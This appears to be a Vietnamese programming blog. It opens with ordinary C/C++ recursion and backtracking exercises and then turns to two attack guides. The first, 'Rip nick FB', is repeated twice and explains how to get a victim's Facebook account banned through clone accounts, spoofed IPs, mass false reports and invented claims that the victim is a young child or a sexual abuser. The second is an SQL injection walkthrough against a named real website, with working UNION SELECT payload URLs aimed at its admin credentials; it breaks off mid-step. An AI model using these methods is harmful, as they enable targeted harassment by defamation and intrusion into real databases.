Tìm n giai thừa (n!) là một bài tập lập trình căn bản nhằm giúp cho các bạn biết cách sử dụng vòng lặp (for, while)
ví dụ:
n=0 --> thì trả về 1
n=1 --> thì trả về 1
n=2 --> thì trả về 2
n=5 --> thì trả về 1 x 2 x 3 x 4 x 5
6 x 20 = 120
n! = 1 x 2 x 3 x 4 x 5 x ... x (n-1) x n
--> n! = 2 x 3 x 4 x 5 x ... x (n-1) x n (tại vì nhân với 1 thì cũng như không nhân với gì hết)
Mình sẽ giải bằng 2 cách
cách 1: sử dụng vòng lặp
cách 2: sử dụng đệ quy
Thứ Bảy, 27 tháng 2, 2016
Lập trình căn bản C: Đảo ngược các ký tự trong chuỗi
Đề bài: nhận vào một chuỗi các ký tự. Hãy đảo ngược các ký tự trong chuỗi.
Bài giải:
#include <string.h> #include <stdio.h> int main() { char hoten[80]; printf("nhap ho ten: "); gets(hoten); int len = strlen(hoten); for(int i=len-1;i>=0;i--){ printf("%c",hoten[i]); } return(0); }
Thuật toán Đệ quy và một số bài toán Đệ quy cơ bản
Hàm đệ quy
Hàm đệ quy là những hàm gọi lại chính nó. Nó hữu dụng trong các tác vụ như sắp xếp hoặc tính toán các số giai thừa… Hàm đệ quy tương ứng với khái niệm quy nạp trong toán học.
Bài tập 1. Tìm phần tử Fibonacci thứ n (bài toán Fibonacci)
Viết chương trình tìm phần tử Fibonacci thứ n được định nghĩa đệ quy như sau:
#include <conio.h>
#include <iostream.h>
/*Ham tra ve so nguyen tinh gia tri Fibonacci thu n*/
int F(int n) {
if(n==0 || n==1)
return 1;
else
return F(n-1) + F(n-2);
}
/*Chuong trinh chinh*/Bài tập 3. Thuật toán Euclide tìm ước chung lớn nhất
void main() {
clrscr();
int n;
cout<<"Nhap vao gia tri cua n = ";
cin>>n;
cout<<"F("<<n<<") = "<<F(n);
getch();
}
Bài tập 2. Tính X lũy thừa n
Viết chương trình tính X mũ n với X là số thực, n là số nguyên:
Cài đặt:
#include <conio.h>
#include <iostream.h>
/*Ham tra ve so thuc tinh gia tri X^n*/
float Power(float X, int n) {
if(n==0)
return 1;
else
return X*Power(X,n-1);
}
/*Chuong trinh chinh*/
void main() {
clrscr();
int n;
float X;
cout<<"Nhap vao gia tri cua n = ";
cin>>n;
cout<<"Nhap vao gia tri cua X = ";
cin>>X;
cout<<X<<"^"<<n<<" = "<<Power(X,n);
getch();
}
Viết chương trình tìm ước chung lớn nhất của 2 số nguyên dương a, b bằng thuật toán. Euclide được định nghĩa đệ quy như sau:
[Cài đặt:]
#include <conio.h>
#include <iostream.h>
int UCLN(int a, int b) {
if(a==b)
return a;
else if(a>b)
return UCLN(a-b,b);
else
return UCLN(a,b-a);
}
void main() {
clrscr();
int a,b;
cout<<"Nhap a = ";
cin>>a;
cout<<"Nhap b = ";
cin>>b;
cout<<"Uoc chung lon nhat cua "<<a<<" va "<<b<<" la "<<UCLN(a,b);
getch();
}
Bài tập 4. Tìm ước chung lớn nhất của n số nguyên
Viết chương trình tìm ước chung lớn nhất của n số nguyên dương 0 1 ,..., n a a được định nghĩa đệ quy như sau:
[Cài đặt:]
#include <conio.h>
#include <iostream.h>
/*Ham tra ve uoc chung lon nhat cua a va b*/
int UCLN(int a, int b) {
if(a==b)
return a;
else if(a>b)
return UCLN(a-b,b);
else
return UCLN(a,b-a);
}
/*Ham tra ve uoc chung lon nhat cua n phan tu duoc luu tru trong mang 1 chieu a*/
int UC(int a[], int n) {
if(n==1)
return a[0];
else
return UCLN(a[n-1],UC(a,n-1));
}
void main() {
clrscr();
int *a,n;
cout<<"Nhap n = ";
cin>>n;
a = new int[n];
cout<<"Nhap vao "<<n<<" phan tu\n";
for(int i=0; i<n ; i++){
cout<<"a["<<i<<"] = ";
cin>>a[i];
}
cout<<"UCLN cua "<<n<<" phan tu vua nhap la "<<UC(a,n);
getch();
}
Bài tập 5. Tính n giai thừa
Viết chương trình tính n! được định nghĩa đệ quy như sau:
[Cài đặt:]
#include <conio.h>
#include <iostream.h>
/*Ham tra ve so nguyen tinh n! (Factorial)*/
long int Fac(int n) {
if(n==0)
return 1;
else
return n*Fac(n-1);
}
/*Chuong trinh chinh*/
void main() {
clrscr();
int n;
cout<<"Nhap vao gia tri cua n = ";
cin>>n;
cout<<n<<"! = "<<Fac(n);
getch();
}
Bài tập 6. Tổ hợp chập k của n phần tử
Viết chương trình tính tổ hợp chập k của n được xác định như sau:
[Cài đặt:]
#include <conio.h>
#include <iostream.h>
/*C(n,k)=C(n-1,k-1)+c(n-1,k) dk: 0<k<n; c(n,0)=c(n,n)=1*/
long int C(int n, int k) {
if (n==k||k==0)
return 1;
else
return C(n-1,k-1)+C(n-1,k);
}
/*Chuong trinh chinh*/
void main() {
clrscr();
int n,k;
cout<<"n = ";
cin>>n;
cout<<"k = ";
cin>>k;
cout<<"C("<<n<<","<<k<<") = "<<C(n,k);
getch();
}
Bài tập 7. Tính tổng n phần tử trong danh sách
Viết chương trình tính tổng n phần tử a0, a1 ,..., an. được định nghĩa đệ quy như sau:
[Cài đặt:]
#include <conio.h>
#include <iostream.h>
/*Ham tra ve so nguyen tinh tong n phan tu trong mang a*/
long int S(int a[], int n) {
if(n==1)
return a[0];
else
return a[n-1]+S(a,n-1);
}
/*Chuong trinh chinh*/
void main() {
clrscr();
int *a,n;
cout<<"n = ";
cin>>n;
a = new int[n];
cout<<"Nhap vao "<<n<<" phan tu\n";
for(int i=0; i<n ; i++){
cout<<"a["<<i<<"] = ";
cin>>a[i];
}
cout<<"Tong "<<n<<" phan tu trong mang a la "<<S(a,n);
getch();
}
Bài tập 8. Đệ quy hỗ tương
Viết chương trình tính n X và n Y được xác định như sau:
[ Cài đặt:]
#include <conio.h>Bài tập 9. Tích n phần tử trong danh sách
#include <iostream.h>
long int Y(int n);
long int X(int n) {
if(n==0)
return 1;
else
return X(n-1) + Y(n-1);
}
long int Y(int n) {
if(n==0)
return 1;
else
return 2*X(n-1)*Y(n-1);
}
/*Chuong trinh chinh*/
void main() {
clrscr();
int n;
cout<<"n = ";
cin>>n;
cout<<"X("<<n<<") = "<<X(n);
cout<<"Y("<<n<<") = "<<Y(n);
getch();
}
Viết chương trình tính tích n phần tử 0 1 ,..., n a a được định nghĩa đệ quy như sau:
[Cài đặt:]
#include <conio.h>
#include <iostream.h>
/*Ham tra ve so nguyen tinh tich n phan tu trong mang a*/
long int S(int a[], int n) {
if(n==1)
return a[0];
else
return a[n-1]*S(a,n-1);
}
/*Chuong trinh chinh*/
void main() {
clrscr();
int *a,n;
cout<<"n = ";
cin>>n;
a = new int[n];
cout<<"Nhap vao "<<n<<" phan tu\n";
for(int i=0; i<n ; i++){
cout<<"a["<<i<<"] = ";
cin>>a[i];
}
cout<<"Tong "<<n<<" phan tu trong mang A la "<<S(a,n);
getch();
}
Bài tập 10. Đếm số lần xuất hiện của phần tử x trong danh sách
[Cài đặt:]
#include <conio.h>
#include <iostream.h>
/*Ham tra ve so lan xuat hien cua x trong danh sach A*/
int Find(int a[], int n, int x) {
if(n==0)
return 0;
else
if(a[n-1]==x)
return 1+Find(a,n-1,x);
else
return Find(a,n-1,x);
}
/*Chuong trinh chinh*/
void main() {
clrscr();
int *a,n,x;
cout<<"n = ";
cin>>n;
a = new int[n];
cout<<"Nhap vao danh sach "<<n<<" phan tu\n";
for(int i=0; i<n ; i++){
cout<<"a["<<i<<"] = ";
cin>>a[i];
}
cout<<"x = ";
cin>>x;
cout<<"So lan xuat hien cua "<<x<<"trong danh sach la "<<Find(a,n,x);
getch();
}
Bài tập 11. Liệt kê tất cả dãy nhị phân độ dài k
Chỉnh hợp lặp chập k của n phần tử là một nhóm có thứ tự gồm k phần tử lấy từ n phần tử đã cho, trong đó mỗi phần tử có thể có mặt 1, 2, …, k lần trong nhóm tạo thành.
Phương pháp: ta liệt kê tất cả chỉnh hợp có lặp chập k của hai phần tử 0 và 1. Khi đó ta sẽ có tất cả dãy nhị phân có độ dài k.
Ví dụ: minh họa dạng cây với k = 3.
[Cài đặt:]
#include <conio.h>
#include <iostream.h>
#define max 20
int Luu[max];
int k;
/*Xuat ket qua ra man hinh*/
void Out() {
cout<<endl;
for(int i = 0; i<k; i++)
cout<<Luu[i];
}
/*Day nhi phan do dai n*/
void Try(int i) {
if(i==k)
Out();
else {
for(int j = 0; j<=1; j++) {
Luu[i] = j;
Try(i+1);
Luu[i]=0;
}
}
}
/*Chuong trinh chinh*/
void main() {
clrscr();
cout<<"Nhap n = ";
cin>>k;
cout<<"Day nhi phan do dai k.\n";
Try(0);
getch();
}
//Hàm Try(int i) có thể viết lại theo cách như sau:
void Try(int i) {
for(int j = 0; j<=1; j++) {
Luu[i] = j;
if(i==k-1)
Out();
else
Try(i+1);
}
}
Bài tập 12. Chỉnh hợp không lặp chập k của n phần tử
Chỉnh hợp chập k của n phần tử là một nhóm có thứ tự gồm k phần tử khác nhau được chọn từ n phần tử đã cho.
Phương pháp: liệt kê dãy có độ dài k và các phần tử trong dãy được lấy từ tập hợp {0,1, … , n-1} các phần tử được đưa vào dãy không được phép trùng nhau.
Ví dụ: n = 3 và k = 2 ta sẽ có các dãy con {0,1}, {0,2}, {1,0}, {1,2}, {2,0} và {2,1}.
[Cài đặt:]
#include <conio.h>
#include <iostream.h>
#define max 20
char DanhDau[max];
int Luu[max];
int n,k;
/*Khoi tao cac bien*/
void Init() {
cout<<"Nhap n = ";
cin>>n;
cout<<"Nhap k = ";
cin>>k;
//khoi tao tat ca cac dinh chua duoc chon
for(int i = 0; i<k; i++)
DanhDau[i] = 0;
}
/*Xuat ket qua ra man hinh*/
void Out() {
cout<<endl;
for(int i = 0; i<k; i++)
cout<<Luu[i]<<" ";
}
/*Chinh hop khong lap chap k*/
void Try(int i) {
if(i==k)
Out();
else {
for(int j = 0; j<n; j++)
if(DanhDau[j] == 0) { //neu dinh j chua duoc chon
DanhDau[j] = 1; //chon dinh j
Luu[i] = j; //luu lai gia tri j
Try(i+1); //tim phan tu tiep theo
DanhDau[j] = 0; //phuc hoi dinh j
}
}
}
/*Chuong trinh chinh*/
void main() {
clrscr();
cout<<"Chinh hop khong lap n chap k";
Init();
Try(0);
getch();
}
//Hàm Try(int i) có thể viết lại theo cách như sau:
void Try(int i) {
for(int j = 0; j<n; j++)
if(DanhDau[j]==0) {
Luu[i] = j;
if(i==n-1)
Out();
else {
DanhDau[j] = 1;
Try(i+1);
DanhDau[j] = 0;
}
}
}
Bài tập 13. Hoán vị mảng số nguyên có n phần tử
Phương pháp: tương tự phương pháp làm bài tập 13 nhưng ở đây ta thay tập hợp {0, 1, … , n-1} là tập hợp giá trị n phần tử của mảng và độ dài của dãy là n.
Ví dụ: n = 3 và A = {-1,0,1} ta sẽ có các dãy con tương ứng là {-1,0}, {-1,1}, {0,-1}, {0,1}, {1,-1} và {1,0}.
[Cài đặt:]
#include <conio.h>Bài tập 14. Đặt n quân hậu trên bàn cờ vua
#include <iostream.h>
#define max 20
char DanhDau[max]; //mang danh dau dinh duoc chon
int Luu[max], A[max], n;
/*Khoi tao cac bien*/
void Init() {
cout<<"Nhap n = ";
cin>>n;
for(int i = 0; i<n; i++) {
/*Danh dau vi tri i chua chon*/
DanhDau[i] = 0;
cout<<"A["<<i<<"] = ";
cin>>A[i];
}
}
/*Xuat ket qua ra man hinh*/
void Out() {
cout<<endl;
for(int i = 0; i<n; i++)
cout<<Luu[i]<<" ";
}
/*Hoan vi mang n phan tu*/
void Try(int i) {
if(i==n)
Out();
else {
for(int j = 0; j<n; j++)
if(DanhDau[j] == 0) { //neu dinh j chua duoc chon
DanhDau[j] = 1; //chon dinh j
Luu[i] = A[j]; //luu lai gia tri dinh duoc chon
Try(i+1); //tim dinh tiep theo
DanhDau[j] = 0; //phuc hoi dinh j
}
}
}
/*Chuong trinh chinh*/
void main() {
clrscr();
Init();
cout<<"Hoan vi cac phan tu trong mang A";
Try(0);
getch();
}
Hàm Try(int i) có thể viết lại theo cách như sau:
void Try(int i) {
for(int j = 0; j<n; j++)
if(DanhDau[j]==0) {
Luu[i] = A[j];
if(i==n-1)
Out();
else {
DanhDau[j] = 1;
Try(i+1);
DanhDau[j] = 0;
}
}
}
Mô tả bài toán: liệt kê tất cả phương án đặt n quân hậu trên bàn cờ vua cấp nxn sao cho n quân hậu không được phép ăn nhau.
Ví dụ: cho bàn cờ vua cấp 8x8 . Dưới đây là 1 phương án đặt quân hậu:
[Cài đặt:]
#include <conio.h>Bài tập 15. Mã đi tuần
#include <iostream.h>
#define max 20
char a[max]; //danh dau cot
char b[2*max-1]; //danh dau huong Dong-Bac
char c[2*max-1]; //danh dau huong Tay-Bac
int Luu[max]; //luu ket qua tim duoc
int n;
/*Khoi tao cac bien*/
void Init() {
cout<<"Nhap n = ";
cin>>n;
//tat ca cac cot chua duoc chon
for(int i = 0; i<n; i++)
a[i] = 0;
//tat ca cac huong chua duoc chon
for( i = 0; i<2*n-1; i++) {
b[i] = 0;
c[i] = 0;
}
}
/*Xuat ket qua ra man hinh*/
void Out() {
cout<<endl;
for(int i = 0; i<n; i++)
cout<<"("<<i+1<<","<<Luu[i]+1<<") ";
}
/*Chinh hop khong lap chap k*/
void Try(int i) {
if(i==n)
Out();
else {
for(int j = 0; j<n; j++)
if(a[j] == 0 && b[i+j] == 0 && c[i-j+n] == 0) {
a[j] = 1; //danh dau cot j
b[i+j] = 1; //danh dau huong Dong-Bac thu i+j
c[i-j+n] = 1; //danh dau huong tay-Bac thu j-i+n
Luu[i] = j; //luu vi tri dat hau (i,j)
Try(i+1); //tim vi tri dat hau tiep theo
a[j] = 0; //phuc hoi cot j
b[i+j] = 0; //phuc hoi huong Dong-Bac thu i+j
c[i-j+n] = 0; //phuc hoi huong tay-Bac thu j-i+n
}
}
}
/*Chuong trinh chinh*/
void main() {
clrscr();
Init();
cout<<"Dat Hau";
Try(0);
getch();
}
Mô tả bài toán: đặt quân mã tại ô có vị trí (x,y) trên bàn cờ vua cấp nx n. Hãy liệt kê tất cả các phương án quân mã xuất phát tại vị trí (x,y) có thể nhảy đến tất cả các ô khác trên bàn cờ với điều kiện mỗi ô quân mã chỉ được phép đi qua đúng 1 lần.
Ví dụ: cho bàn cờ vua cấp 8x8 . Ta có 2 phương án đặt quân mã như sau:
[Cài đặt:]
#include <iostream.h>
#include <conio.h>
#define max 10
int A[max][max]; //Mang danh dau
int B[max][max]; //Mang luu duong di
int X[8]={-1,-2,-2,-1,1,2,2,1};
int Y[8]={-2,-1,1,2,2,1,-1,-2};
int n, x, y, Dem=0;
//Khoi tao
void Init() {
cout<<"Nhap n = ";
cin>>n;
cout<<"Nhap x = ";
cin>>x;
cout<<"Nhap y = ";
cin>>y;
for(int i = 0; i<n; i++)
for(int j = 0; j<n; j++)
A[i][j] = 0; //tat ca cac o chua duoc danh dau
B[x][y] = 1; //duong di dau tien
A[x][y] = 1; //danh dau o duoc chon
}
//Xuat ket qua ra man hinh
void Out() {
Dem++;
for(int i = 0; i<n; i++) {
for(int j = 0; j<n; j++) {
printf("%3d",B[i][j]);
}
cout<<endl;
}
cout<<endl;
}
//Tim duong di
void Try(int i) {
if(i > n*n)
Out();
else {
for(int j = 0; j<8; j++) {
int x1 = x + X[j];
int y1 = y + Y[j];
if(x1>=0 && x1<n && y1>=0 && y1<n && A[x1][y1]==0){
A[x1][y1] = 1; //danh dau o (i,j)
B[x1][y1] = i; //luu lai duong di
x = x1; //lay toa do x moi
y = y1; //lay toa do y moi
Try(i+1); //tim duong di tiep theo
A[x1][y1] = 0; //phuc hoi o (i,j)
B[x1][y1] = 0; //xem nhu o chua di qua
x = x1 - X[j]; //phuc hoi dinh x
y = y1 - Y[j]; //phuc hoi dinh y
}
}
}
}
//chuong trinh chinh
void main() {
clrscr();
Init();
Try(2);
if (Dem==0)
cout<<"Khong co duong di";
else
cout<<"So phuong an tim duoc"<<Dem;
getch();
}
[ C \ C++ ] Kiểm tra dãy con của một dãy số nguyên
/*
Bài toán: Kiểm tra dãy a1 có phải là dãy con của day a hay không? (a1, a là mảng số nguyên. Ví dụ: a1[]= {1,2,3} là dãy con của dãy a[]={2,3,1,2,3,5,4,5}; a1[]={2,3,4} không phải là dãy con của dãy a[]={3,1,2,4,5,2,6})
*/
[Code C\C++]
By Trần Khánh Dz :V
[ Đề nghị các bạn chuyển sang các code khác như Java, C#, VB, Pascal,...]
Bài toán: Kiểm tra dãy a1 có phải là dãy con của day a hay không? (a1, a là mảng số nguyên. Ví dụ: a1[]= {1,2,3} là dãy con của dãy a[]={2,3,1,2,3,5,4,5}; a1[]={2,3,4} không phải là dãy con của dãy a[]={3,1,2,4,5,2,6})
*/
[Code C\C++]
#include<iostream.h>
#include<conio.h>
int a[100],a1[100],n,m;
void NhapDay(){
// nhap day a
cout<<"\n Nhap day a: \n";
do{
cout<<"\n n= "; cin>>n;
if (n<1||n>100)
cout<<"\n Nhap lai n!";
}while(n<1||n>100);
for(int i=0;i<n;i++)
{
cout<<"\n a["<<i<<"]= "; cin>>a[i];
}
// nhap day a1
cout<<"\n Nhap day a1: \n";
do{
cout<<"\n m= "; cin>>m;
if (m<1||m>n)
cout<<"\n Nhap lai m!";
}while(m<1||m>n);
for( i=0;i<m;i++)
{
cout<<"\n a1["<<i<<"]= "; cin>>a1[i];
}
}
// kiem tra day con
int TimDayCon(){
int i,j,k;
i=0;j=0;
while (1){
k=i;
j=0;
while (j<m){
if(a[i]==a1[j]&&i<n)
{
i++;
j++;
}
else
{
i=k+1;
break;
}
}
if (j>m-1) return 1;
if (k>n-1) break;
}
return 0;
}
// ham chinh
void main(){
NhapDay();
if (TimDayCon()==1) cout<<"\n a1 la day con cua a";
else cout<<"\n a1 khong phai day con cua a";
getch();
}
By Trần Khánh Dz :V
[ Đề nghị các bạn chuyển sang các code khác như Java, C#, VB, Pascal,...]
Chủ Nhật, 21 tháng 2, 2016
Rip nick FB
Điều kiện có 5 - 10 clone
- bước 1 bấm vô báo cáo ở wall - tích vào Báo cáo tài khoản này -> tích Trang cá nhân này đại diện cho một doanh nghiệp hoặc tổ chức. - gửi FB xem xét
- tiếp tục bấm vào báo cáo tiếp -Báo cáo tài khoản này -> Đây là một tài khoản giả mạo -> tích vào Khác... rồi gửi FB xem xét
- tiếp tục đổi ngôn ngữ sang tiếng anh (us) vào wall victim bấm vào report -Report this account ->
This timeline is using a fake name bấm continue bấm tiếp vào dòng Submit to Facebook for Review
Rồi done tương tự áp dụng y hệt cách này với 9 nick clone còn lại .... victim sẽ die ở 3 dạng 1 là tên giả up cmnd 2 là ckeckpion 3 là FAQ (FAQ chiếm 50%)
-TUT FAQ 5S BY NoName-Team COPY
b1 : fake ip us
b2: vô https://www.facebook.com/help/contact/209046679279097
b3 : điền đầy đủ thông tin victim
b4 : chọn 9 năm
b5 : dán tc: this is a fake account creafated by children which aims to harass me , I found it no age to use facebook, please close that account , thanking the facebook team
b6 : vô wall fake ip khác vs ngôn ngữ khác
b7 : báo cáo tk giả mạo => khác => sumit
b8 : báo cáo tk mạo danh => tôi => sumit
-Cần tầm 3-7 clone, k dùng clone mới lập nhé, face avt+cover, nơi ở và nơi làm việc giống victim, cái link của nó ví dụ http://fb.com/chulogach93 Thì lấy cái "chulogach93" đặt làm tên trong ngoặc,đặt id các clone lần lượt là:chulogach931,chulogach932,chulogach933...
Rồi vào những clone đó báo cáo mạo danh tôi,tiếp theo báo tầm 7-10 cái ảnh của nó, báo gì cũng dc nhưng báo càng nhiều càng tốt, khiêu dâm, tự tử, bạo lực...(ip việt nam nhé )
-13t này:
- Tải Hola.org về fake qua IP nước Hàn Quốc
- vào http://www.facebook.com/settings chỉnh sang tiếng Hàn quốc
- vào link 13t 14t đều đc
- chỉnh 10 năm
- duy nhất chỉ được report những link tạo năm 2014. nếu mún rip link những năm khác thì sửa số 2014 trong thần chú thành năm khác nhé!
- thần chú (mới nhất nhé): 충분히 삭제 페이 스 북 계정 사용자입니다. 왜냐 하면 그들은 단지 10 년 동안이이 선수 페이스 북 2014에 합류 했다. 검토 하 고이 시간 라 인을 삭제 해야
- Link report: https://www.facebook.com/help/contact/209046679279097
~> Hàn quốc: https://www.facebook.com/help/contact/1408156889442791
~> dùng cái này thì nhanh die nhưng fake ip Tây ban nha cũng đc nhé. tc 13t,14t:
- This timeline impersonating me and my friends. and it provides false information on birth date to register your account facebook. I think this is a time line of the one baby 9 year old , The father of the account confirmed account this children 9 years old. I hope that Facebook this account deactivated for Facebook becoming safer and it true to the terms of use facebook. -Thank you Facebook team.
SHARE cách R.I.P cho ae trong team chưa biết. chắc đã biết hết rồi đang rảnh up chơi FAQ 2 cái 1 lần luôn nhé. FAKE IP NEW DI LÂN nhé. www.hola.org để cài app chuyển ip cho lẹ nhé. -rip 13t cứ là 6h~12h die Link:https://www.facebook.com/help/contact/209046679279097 rip 14t thì 6h die Link:https://www.facebook.com/help/contact/1408156889442791
ô1: Link fb
ô2: tên Fb
ô3: ít hơn 9 năm
ô4: - Hi Facebook Team - That child did wrong year of Birth To sign up for Facebook- I request Facebook Team delete that account as terms Facebook set out. - Thank you Facebook team
------------------------------------13 14t Chất-------------------------------
*1 IP ngôn ngữ US: + link 2 :https://www.facebook.com/help/contact/1408156889442791 14t + link 1 ;https://www.facebook.com/help/contact/209046679279097 13t Dưới 9
*2 Xong vào link: ( vẫn giữ IP Ngôn ngữ US nhé ):https://www.facebook.com/help/contact/207005222725325
Dòng 1 điền email
Dòng 2 điền tên victim
Dòng 3 link victim
Dòng 4: Viet Nam chọn Yes Link to a news article điền link này vào: http://laodong.com.vn/…/ky-an-pham-toi-hiep-dam-den-kho-tin…
Xong phần thông tin bổ sung điền:
Here is an account that I knew had sexually abused. facebook group requests please remove this account.
*3 Tiếp theo: ( làm từng bước nhé ) -Báo cáo doanh nghiệp -Dòng thời gian không hợp lệ -> Khác ... -Khôi phục hoặc đóng tài khoản =)) Đóng *4 Báo cáo ảnh đại diện có nội dung tình dục Xong rồi, thực hiện các bước trên tốn khoản 3-5 phút thôi. Ai rảnh thì login vào clone báo tiếp nha. Đây là 1/3 của tus FAQ APPS Biểu tượng cảm xúc grin . Phần còn lại để mình lo nhé.
- bước 1 bấm vô báo cáo ở wall - tích vào Báo cáo tài khoản này -> tích Trang cá nhân này đại diện cho một doanh nghiệp hoặc tổ chức. - gửi FB xem xét
- tiếp tục bấm vào báo cáo tiếp -Báo cáo tài khoản này -> Đây là một tài khoản giả mạo -> tích vào Khác... rồi gửi FB xem xét
- tiếp tục đổi ngôn ngữ sang tiếng anh (us) vào wall victim bấm vào report -Report this account ->
This timeline is using a fake name bấm continue bấm tiếp vào dòng Submit to Facebook for Review
Rồi done tương tự áp dụng y hệt cách này với 9 nick clone còn lại .... victim sẽ die ở 3 dạng 1 là tên giả up cmnd 2 là ckeckpion 3 là FAQ (FAQ chiếm 50%)
-TUT FAQ 5S BY NoName-Team COPY
b1 : fake ip us
b2: vô https://www.facebook.com/help/contact/209046679279097
b3 : điền đầy đủ thông tin victim
b4 : chọn 9 năm
b5 : dán tc: this is a fake account creafated by children which aims to harass me , I found it no age to use facebook, please close that account , thanking the facebook team
b6 : vô wall fake ip khác vs ngôn ngữ khác
b7 : báo cáo tk giả mạo => khác => sumit
b8 : báo cáo tk mạo danh => tôi => sumit
-Cần tầm 3-7 clone, k dùng clone mới lập nhé, face avt+cover, nơi ở và nơi làm việc giống victim, cái link của nó ví dụ http://fb.com/chulogach93 Thì lấy cái "chulogach93" đặt làm tên trong ngoặc,đặt id các clone lần lượt là:chulogach931,chulogach932,chulogach933...
Rồi vào những clone đó báo cáo mạo danh tôi,tiếp theo báo tầm 7-10 cái ảnh của nó, báo gì cũng dc nhưng báo càng nhiều càng tốt, khiêu dâm, tự tử, bạo lực...(ip việt nam nhé )
-13t này:
- Tải Hola.org về fake qua IP nước Hàn Quốc
- vào http://www.facebook.com/settings chỉnh sang tiếng Hàn quốc
- vào link 13t 14t đều đc
- chỉnh 10 năm
- duy nhất chỉ được report những link tạo năm 2014. nếu mún rip link những năm khác thì sửa số 2014 trong thần chú thành năm khác nhé!
- thần chú (mới nhất nhé): 충분히 삭제 페이 스 북 계정 사용자입니다. 왜냐 하면 그들은 단지 10 년 동안이이 선수 페이스 북 2014에 합류 했다. 검토 하 고이 시간 라 인을 삭제 해야
- Link report: https://www.facebook.com/help/contact/209046679279097
~> Hàn quốc: https://www.facebook.com/help/contact/1408156889442791
~> dùng cái này thì nhanh die nhưng fake ip Tây ban nha cũng đc nhé. tc 13t,14t:
- This timeline impersonating me and my friends. and it provides false information on birth date to register your account facebook. I think this is a time line of the one baby 9 year old , The father of the account confirmed account this children 9 years old. I hope that Facebook this account deactivated for Facebook becoming safer and it true to the terms of use facebook. -Thank you Facebook team.
SHARE cách R.I.P cho ae trong team chưa biết. chắc đã biết hết rồi đang rảnh up chơi FAQ 2 cái 1 lần luôn nhé. FAKE IP NEW DI LÂN nhé. www.hola.org để cài app chuyển ip cho lẹ nhé. -rip 13t cứ là 6h~12h die Link:https://www.facebook.com/help/contact/209046679279097 rip 14t thì 6h die Link:https://www.facebook.com/help/contact/1408156889442791
ô1: Link fb
ô2: tên Fb
ô3: ít hơn 9 năm
ô4: - Hi Facebook Team - That child did wrong year of Birth To sign up for Facebook- I request Facebook Team delete that account as terms Facebook set out. - Thank you Facebook team
------------------------------------13 14t Chất-------------------------------
*1 IP ngôn ngữ US: + link 2 :https://www.facebook.com/help/contact/1408156889442791 14t + link 1 ;https://www.facebook.com/help/contact/209046679279097 13t Dưới 9
*2 Xong vào link: ( vẫn giữ IP Ngôn ngữ US nhé ):https://www.facebook.com/help/contact/207005222725325
Dòng 1 điền email
Dòng 2 điền tên victim
Dòng 3 link victim
Dòng 4: Viet Nam chọn Yes Link to a news article điền link này vào: http://laodong.com.vn/…/ky-an-pham-toi-hiep-dam-den-kho-tin…
Xong phần thông tin bổ sung điền:
Here is an account that I knew had sexually abused. facebook group requests please remove this account.
*3 Tiếp theo: ( làm từng bước nhé ) -Báo cáo doanh nghiệp -Dòng thời gian không hợp lệ -> Khác ... -Khôi phục hoặc đóng tài khoản =)) Đóng *4 Báo cáo ảnh đại diện có nội dung tình dục Xong rồi, thực hiện các bước trên tốn khoản 3-5 phút thôi. Ai rảnh thì login vào clone báo tiếp nha. Đây là 1/3 của tus FAQ APPS Biểu tượng cảm xúc grin . Phần còn lại để mình lo nhé.
By : Trần Khánh
Thứ Bảy, 20 tháng 2, 2016
Hướng Dẫn Check Lỗi SQLi
Đầu Tiên ! Xin Chào Mng ^_^ mình mới tham gia forum nên có gì ko đúng các pro chỉ thêm ^^!
Tiếp theo ... Cần Chuẩn Bị :
1.Hackbar (Vào https://addons.mozilla.org/vi/firefox -> search " Hackbar " )
2. 1 cái đầu và những ngón tay =]]z~
Bây Giờ Tiến Hành Với Victim Nhé !
Victim : http://pscells.com ( Hoặc Có Thế Lên Google Gõ "inurl:index.php?id=" Để Dork tìm Site Bị Lỗi SQL )
Đi 1 Vòng Site Tìm Link Có Dạng ?id=
Chẳng hạn như link này : http://pscells.com/chitietsanpham.php?id=40

Tiếp Theo Kiểm Tra Lỗi Bằng Cách Thêm Dấu ' Vào Và Ta Đc Link Như Thế Này :
http://pscells.com/chitietsanpham.php?id=40'
Nếu Site Có Lỗi Thì Nó Sẽ Hiện Như Thế này :
Sau Đó Dùng Lệnh Order By Để Tìm Số Cột (Column)
http://pscells.com/chitietsanpham.php?id=40 order by 5-- - ==> Ko Lỗi
http://pscells.com/chitietsanpham.php?id=40 order by 10-- - ==> Lỗi
Vậy : 5 < x < 10
Tìm Tiếp :
http://pscells.com/chitietsanpham.php?id=40 order by 7-- - ==> Ko Lỗi
Vậy : 7 < x < 10
Tiếp Nào :
http://pscells.com/chitietsanpham.php?id=40 order by 9-- - ==> Lỗi
Vậy : 7 < x < 9 ===> Thế Số Cột (Column) Là 8 Nhé
Bây h Dùng Lệnh UNION SELECT để khai thác nó
Vậy ta sẽ dùng lệnh UNION SELECT với số cột là 8
Ta Sẽ Có Link :
http://pscells.com/chitietsanpham.php?id=40 UNION SELECT 1,2,3,4,5,6,7,8-- -
Trường Hợp Vài Site Khi Khai Thác Lệnh Này Xoq Vẫn Ko Thấy Gì ==> Cách Giải Quyết :
Thay Null Vào ?id=40 Có Nghĩa Là Link Sẽ Thành :
http://pscells.com/chitietsanpham.php?id=null UNION SELECT 1,2,3,4,5,6,7,8-- -
Nếu Cột Nào Đó Từ 1 -> 8 Bị Lỗi Sẽ Xuất Hiện Như Hình :

Vậy Cột 6 Bị Lỗi Nhé
Bây giờ ta khai thác với lệnh như sau:
http://pscells.com/chitietsanpham.php?id=null UNION SELECT 1,2,3,4,5,group_concat(table_name),7,8 from information_schema.tables where table_schema=database()-- -
( Thay Thế Group_concat(table_name) vào số cột bị lỗi mà ta đã tìm hồi nãy ( cột 6 ) , Thêm from information_schema.tables where table_schema=database() Để Tìm Ra Cách Table Có Trong Database )
Và Sau Đó Ta Đc Các Table Của Database Như Hình :
Lưu Ý Chúng Ta Cần Tìm ID và Pass Của Admin , Nên Ta Sẽ Chọn Table Có Liên Quan Đến Tài Khoản Người Dùng . Như Troq Hình Là Table " Taikhoan "
Tiếp Theo Tìm Các Column Trong Table taikhoan . Cần Phãi Encode tên table sang mã Hex Và thêm trước nó "0x" Để Hệ Thống Biết Đó Là Mã Hex . Mã Hex cũa taikhoan là 7461696b686f616e Thêm "0x" ỡ đầu sẽ thành :
0x7461696b686f616e <== Thay Mã Hex này Với Database() như Hình :
Và Sửa Link ỡ 1 vài chỗ :
http://pscells.com/chitietsanpham.php?id=null UNION SELECT 1,2,3,4,5,group_concat(table_name),7,8 from information_schema.tables where table_schema=database()-- -
Thành
